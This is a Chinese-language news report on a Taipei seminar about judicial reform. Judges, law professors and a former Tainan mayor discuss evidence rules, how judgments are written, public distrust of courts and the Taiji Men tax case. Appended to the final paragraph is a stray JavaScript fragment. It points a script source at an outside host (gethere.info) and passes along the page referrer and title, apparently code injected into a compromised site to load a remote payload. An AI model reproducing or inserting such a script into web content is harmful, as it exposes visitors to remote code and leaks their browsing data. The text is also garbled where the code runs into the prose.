當日這場研討會在台大校友會館舉行，由台大歐盟法研究中心、臺灣財經刑法研究學會、動腦雜誌社、台灣設計協會主辦。｢真正的司法改革，出發點在於良心、人權與關懷。司法實務的真實發現，只要基於前述出發點，落實證據法則，即可求得。但脫離上述原則，則成為虛假的改革。｣陳志龍教授表示，證據法則很重要，法官要入罪，找了理由就入罪，這是選擇性的正義。他強調，證據法則可以挽救法庭，法院判決書要列出待證事項、證據、推論，應該要把待證事項寫出來，有沒有證據？構成要件是否符合？行政判決更嚴重，一方是官方，一方是人民，訴訟動輒好幾千萬，不亞於刑法，更要有證據，將一切爭執攤開來。
前台灣高等法院庭長溫耀源談到如何扭轉社會對法院不信賴。他認為，法官自己要充實，高尚品德，洞見觀瞻，給當事人充分陳述，這是自我要求。但是，法院不是服務業，用滿意度作評價不太對。他談到，法官判無罪背負很大的壓力，警察宣稱破案之後，還要移送給檢察官，這段過程，媒體經常過分報導，誤導全民有了定見，警察、檢察官所移送的證物，並不是每件都可以使用。判決還要看證物是否有證據能力，接下來才能判斷證明力，還必須受無罪推定原則、經驗法則、論理法則等法律原則的約束，多方衡量之後，證據不足，就只能判被告無罪，卻還要被說成恐龍法官，情何以堪？
陳志龍教授亦以辦案認真來介紹台北地方法院法官趙子榮，在審理太極門案件，總共審理包含國稅局人員在內將近200位的證人。趙子榮從人民角度看案件、人民態度去看法院，談到證據很重要。他談到，法官判決理由要交代，寫判決，要寫出你的想法是什麼？「傳那麼多證人，那是浩大的工程。證人要到庭，交互詰問，真的是很累人的。」現場民眾給予熱烈掌聲，趙子榮也指出法官們的心聲，「那是我應該盡的工作，但我們希望人民給我們掌聲。」趙子榮指出，就是要用愛與關懷，強調要用證據法則，判決書若變成寫作文，沒有證據、邏輯，這是不對的，容易造成冤案或假案。
與會身為太極門弟子的蔣瑞琴律師公開感謝趙子榮法官，她表示，太極門在1996年被政治整肅，一審前面四個法官都有所顧忌以致拖延並不斷更換，趙法官卻能連續開庭，經常開庭開到晚上八九點。趙法官並公開心證，讓檢察官與我們雙方有充分攻防，趙法官不畏強權，也不被媒體影響，判決無罪並指出檢察官提出許多資料是沒有證據能力、證明力。她也提問二十年後，為何刑案中法官已經審理過不採的筆錄，國稅局還在使用來對太極門違法課稅？
最高行政法院法官帥嘉寶指出，這次司法改革行政訴訟議題非常少，這不是國家的福氣。因為行政訴的當事人大多是企業，當企業遇到不公待遇時通常不會選擇打官司。他也分享「法院判決書標準模式是什麼？」也就是法律涵攝的過程要寫清楚，先將要適用的法律寫下來，待證事實寫清楚，再來憑證據。但是現在行政法院的判決書，卻沒有涵攝的過程，帥嘉寶指出：「這是最嚴重的問題。」而目前行政法院認定事實，最大的困難是什麼？就是，從微觀角度來說你找不到想要的證據，但是從宏觀角度來說，背景很重要，沒有了解背景很難真正理解焦點。但事實上帥嘉寶認為現在法院的判決，「像絞肉機一樣」法律與事實絞成一堆。
東吳大學法律系副教授胡博硯談到德國很多司法制度，但我們缺少學習遵從精神，他舉例說明，當事人被警察移送，法院認為沒有羈押要件，就以三十萬交保，結果真的跑了。在台灣，法官可能會被批評。但是在德國，檢察長會回答：檢察官要提出證明，說服法官，這個人會跑，怎麼會怪法官？
前台南市長暨前立委許添財談到過去擔任台南市長期間所遭到的冤屈，呼籲台灣司法要良幣驅除劣幣，大家一起努力。他並鼓勵退休司法人的要出來幫助解救大家，因為退休之後，無所顧忌。許添財認為，轉型正義不是針對誰，而是針對真正的普世價值，要平等、正義。司法要有效，遲來正義不是正義，這些都是民主自由基本精神，很多被模糊掉。轉型正義，卻繞圈子，人民不該讓有心人去拖。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;